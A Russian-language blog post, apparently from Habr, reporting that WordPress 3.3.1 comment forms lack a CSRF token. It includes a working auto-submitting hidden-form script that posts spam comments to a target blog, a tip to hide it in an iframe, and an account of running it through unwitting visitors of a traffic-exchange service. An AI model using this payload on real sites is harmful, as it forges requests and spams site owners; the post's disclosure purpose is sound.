CSRF уязвимость в WordPress — комментарии

в 16:30, , рубрики: cms, csrf, wordpress, метки: , ,

Введение

Читал я вчера про Егора Хомякова. Подумал — может и я так смогу? И начал я со своего блога на WordPress. Адрес приводить не буду, иначе сам блог ляжет от Хабраэффекта, а меня обвинят в рекламе :).

Теория

Итак, где имеет смысл искать CSRF в WordPress? Мне на ум приходит только одно — комментарии. С них я и начал.
Осторожно, под катом две PNG картинки среднего размера. (этика, этика...)

Смотрим код формы (немного упрощенный):

<form action="http://example.com/wp-comments-post.php" method="post" id="commentform">

<p><input type="text" name="author" id="author" class="styled" value="" size="22" tabindex="1">
<input type="hidden" name="comment_post_ID" value="123">
<label for="author"><small>Имя</small></label></p>

<p><input type="text" name="email" id="email" value="" size="22" tabindex="2">
<label for="email"><small>Почта (скрыта)</small></label></p>

<p><input type="text" name="url" id="url" value="" size="22" tabindex="3">
<label for="url"><small>Сайт</small></label></p>

<p><textarea name="comment" id="comment" cols="100%" rows="10" tabindex="4"></textarea></p>

<p><input name="submit" type="submit" id="submit" tabindex="5" value="Добавить"></p>


</form>

Сразу на ум приходит — никаких токенов или чего-то подобного! Стоит отметить, что на некоторых блогах я заметил подобие токена от Akismet, но лично у меня с WordPress 3.3.1 и Akismet никакого токена нет.

Не долго думая, написал простой код:

<div style="display:none;"><form action="http://example.com/wp-comments-post.php" method="post" id="commentform">
<p><input type="hidden" name="author" id="author" value="">
<input type="hidden" name="comment_post_ID" value="123"></p>
<p><input type="hidden" name="email" id="email" value="" size="22" tabindex="2"></p>
<p><input type="hidden" name="comment" id="comment" value="LOL"></input></p>
<script>
document.getElementById('author').value=(Math.random()*100000).toFixed(0);
document.getElementById('email').value=(Math.random()*100000).toFixed(0)+'@mail.mail';
document.forms.commentform.submit();
</script>
</form>
</div>

Как видно, страница с таким содержанием должна отправлять форму комментария в подопытный блог с именем автора комментария, состоящим из случайных цифр, и e-mail вида <случайные цифры>@mail.mail. В качестве текста комментария выбрано вполне узнаваемое для всех слово LOL.
Минус конкретно этого кода — при отправке формы пользователь неминуемо отправляется на подопытный блог. Но решается этот вопрос тупо через iframe.

Практика

Не долго думая, я поместил данную страницу на PasteHTML вместе со страницей с iframe и запустил в «систему раскрутки сайтов», где владельцы сайтов серфят для того, чтобы потом серфили по ним.
Результат вполне предсказуем:

CSRF уязвимость в Wordpress — комментарии

CSRF уязвимость в Wordpress — комментарии

Заключение

CSRF популярен. Но мне не понятно, почему его допускают в таком ПО.
И никакой Akismet не помог.
Вывод — используйте капчу! :)

P.S. Кто может и умеет — напишите пожалуйста разработчикам.
P.P.S. Это моя первая статья на Хабре, не судите строго :)

Автор: simon311

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js